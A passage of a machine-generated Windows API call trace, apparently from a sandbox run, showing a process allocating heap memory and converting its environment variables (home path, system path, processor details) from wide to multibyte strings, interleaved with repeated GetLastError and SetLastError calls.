(dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x20 [0033.471] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x24) returned 0x3864208 [0033.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.471] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xd) returned 0x3861cd8 [0033.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3861cd8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.471] SetLastError (dwErrCode=0x0) [0033.471] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x24 [0033.472] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x28) returned 0x3864208 [0033.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0033.472] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x25) returned 0x385e170 [0033.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x385e170, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.472] SetLastError (dwErrCode=0x0) [0033.472] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.473] SetLastError (dwErrCode=0x0) [0033.473] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x28 [0033.474] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x2c) returned 0x3864208 [0033.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0033.474] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x39) returned 0x38587f0 [0033.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x38587f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.474] SetLastError (dwErrCode=0x0) [0033.474] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x2c [0033.475] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x30) returned 0x3864208 [0033.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.475] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x18) returned 0x3864240 [0033.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3864240, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.475] GetLastError () returned 0x0 [0033.475] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.476] GetLastError () returned 0x0 [0033.476] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864208) returned 0x30 [0033.477] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864208, Size=0x34) returned 0x3864260 [0033.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.477] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x17) returned 0x3864208 [0033.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3864208, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.477] GetLastError () returned 0x0 [0033.477] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] GetLastError () returned 0x0 [0033.478] SetLastError (dwErrCode=0x0) [0033.478] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864260) returned 0x34 [0033.478] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864260, Size=0x38) returned 0x3864260 [0033.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.478] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xe) returned 0x3861cf0 [0033.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3861cf0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0033.478] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.479] SetLastError (dwErrCode=0x0) [0033.479] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864260) returned 0x38 [0033.480] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864260, Size=0x3c) returned 0x3864260 [0033.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0033.480] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x69) returned 0x38642a8 [0033.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x38642a8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.480] SetLastError (dwErrCode=0x0) [0033.480] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.481] SetLastError (dwErrCode=0x0) [0033.481] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864260) returned 0x3c [0033.482] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864260, Size=0x40) returned 0x3864260 [0033.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0033.482] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x3e) returned 0x3858838 [0033.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3858838, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.482] SetLastError (dwErrCode=0x0) [0033.482] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] SetLastError (dwErrCode=0x0) [0033.483] GetLastError () returned 0x0 [0033.483] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864260) returned 0x40 [0033.483] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864260, Size=0x44) returned 0x3864320 [0033.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0033.483] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1b) returned 0x3862278 [0033.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3862278, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0033.483] GetLastError () returned 0x0 [0033.483] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x44 [0033.483] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x48) returned 0x3864320 [0033.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0033.483] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1d) returned 0x38622a0 [0033.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x38622a0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0033.484] GetLastError () returned 0x0 [0033.484] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x48 [0033.484] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x4c) returned 0x3864320 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0033.484] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x48) returned 0x385a650 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x385a650, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0033.484] GetLastError () returned 0x0 [0033.484] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x4c [0033.484] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x50) returned 0x3864320 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.484] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x12) returned 0x3864260 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3864260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0033.484] GetLastError () returned 0x0 [0033.484] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x50 [0033.484] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x54) returned 0x3864320 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.484] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x18) returned 0x3864280 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3864280, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0033.484] GetLastError () returned 0x0 [0033.484] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x54 [0033.484] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x58) returned 0x3864320 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 